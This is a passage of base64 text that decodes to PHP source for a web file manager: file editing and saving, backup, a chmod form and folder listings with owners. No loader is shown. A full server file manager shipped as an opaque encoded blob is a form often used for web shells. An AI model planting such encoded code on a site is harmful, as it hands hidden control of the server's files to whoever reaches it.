FNpemVcIiBkYXRhLXR5cGU9XCJmb250U2l6ZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiAtLTxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZWRpdC1maWxlLWFjdGlvbnMgY29sLXhzLTEyIGNvbC1zbS03IGNvbC1sZy02IHRleHQtZW5kIHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLWdyb3VwXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiIDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz5cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXJlcGx5LWFsbFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKTtcIiBvbmNsaWNrPVwiYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpXCI+PGkgY2xhc3M9XCJmYSBmYS1kYXRhYmFzZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiQWR2YW5jZWRcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mYW1wO2Vudj1hY2VcIj48aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnbnJsJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gU2F2ZVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCJQbGFpbiBFZGl0b3JcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXRleHQtaGVpZ2h0XCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnYWNlJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocFxuICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7XG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9XCJtdC0yXCIgaWQ9XCJub3JtYWwtZWRpdG9yXCIgcm93cz1cIjMzXCIgY29scz1cIjEyMFwiIHN0eWxlPVwid2lkdGg6IDk5LjUlO1wiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8XC90ZXh0YXJlYT4nO1xuICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKFwia2V5ZG93blwiLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKFwiTWFjXCIpID8gZS5tZXRhS2V5IDogZS5jdHJsS2V5KSAgJiYgZS5rZXlDb2RlID09IDgzKSB7IGUucHJldmVudERlZmF1bHQoKTtlZGl0X3NhdmUodGhpcyxcIm5ybFwiKTt9fSwgZmFsc2UpOzxcL3NjcmlwdD4nO1xuICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHtcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9XCJlZGl0b3JcIiBjb250ZW50ZWRpdGFibGU9XCJ0cnVlXCI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzxcL2Rpdj4nO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICAgICAgPz5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikge1xuICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRtb2RlID0gZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmaWxlKTtcbj8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgbWItMlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgPGg2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PlxuICAgICAgICAgICAgPFwvaDY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1ib2R5XCI+XG4gICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJjYXJkLXRleHRcIj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46IDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsncGF0aCddOyA/Pjxicj5cbiAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY2htb2RcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PlwiPlxuXG4gICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIGNvbXBhY3QtdGFibGVcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PFwvYj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdSZWFkJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1clwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJnclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwNDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJvclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogcmlnaHRcIj48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInV3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImd3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cIm93XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1eFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJneFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJveFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RhYmxlPlxuXG4gICAgICAgICAgICAgICAgICAgIDxwPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2UnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvcD5cbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmZtX3Nob3dfaGVhZGVyKCk7XG5mbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG5mbV9zaG93X21lc3NhZ2UoKTtcblxuJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7XG4kbnVtX2ZvbGRlcnMgPSBjb3VudCgkZm9sZGVycyk7XG4kYWxsX2ZpbGVzX3NpemUgPSAwO1xuPz5cbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cInB0LTNcIj5cbiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImdyb3VwXCIgdmFsdWU9XCIxXCI+XG4gICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgIDxkaXYgY2xhc3M9XCJ0YWJsZS1yZXNwb25zaXZlXCI+XG4gICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIHRhYmxlLWJvcmRlcmVkIHRhYmxlLWhvdmVyIHRhYmxlLXNtXCIgaWQ9XCJtYWluLXRhYmxlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8dGhlYWQgY2xhc3M9XCJ0aGVhZC13aGl0ZVwiPlxuICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9XCJ3aWR0aDozJVwiIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cImpzLXNlbGVjdC1hbGwtaXRlbXNcIiBvbmNsaWNrPVwiY2hlY2tib3hfdG9nZ2xlKClcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCJqcy1zZWxlY3QtYWxsLWl0ZW1zXCI+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGg+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1Blcm1zJykgPz48XC90aD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ0FjdGlvbnMnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPFwvdGhlYWQ+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICA/PlxuICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cIm5vc29ydFwiPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtc29ydD48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFja1wiPjxcL2k+IC4uPFwvYT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIiBkYXRhLW9yZGVyPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtb3JkZXI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImJvcmRlci0wXCI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICRpaSA9IDMzOTk7XG4gICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJztcbiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7XG4gICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKFwiRiBkIFkgSDppOnMuXCIsICRtb2RpZl9yYXcpKTtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gXCJcIjtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBsbmcoJ0ZvbGRlcicpO1xuICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcbiAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsgXG4gICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7XG4gICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2lkICE9IDApIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9ICAkb3duZXJfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaWQgPSBmaWxlZ3JvdXAoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2luZm8gPSBwb3NpeF9nZXRncmdpZCgkZ3JvdXBfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cF9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZyhcImV4Y2VwdGlvbjpcIiAuICRlLT5nZXRNZXNzYWdlKCkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LXRkXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1pbnB1dFwiIGlkPVwiPD9waHAgZWNobyAkaWkgPz5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCI8P3BocCBlY2hvICRpaSA/PlwiPjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGVuYW1lXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcL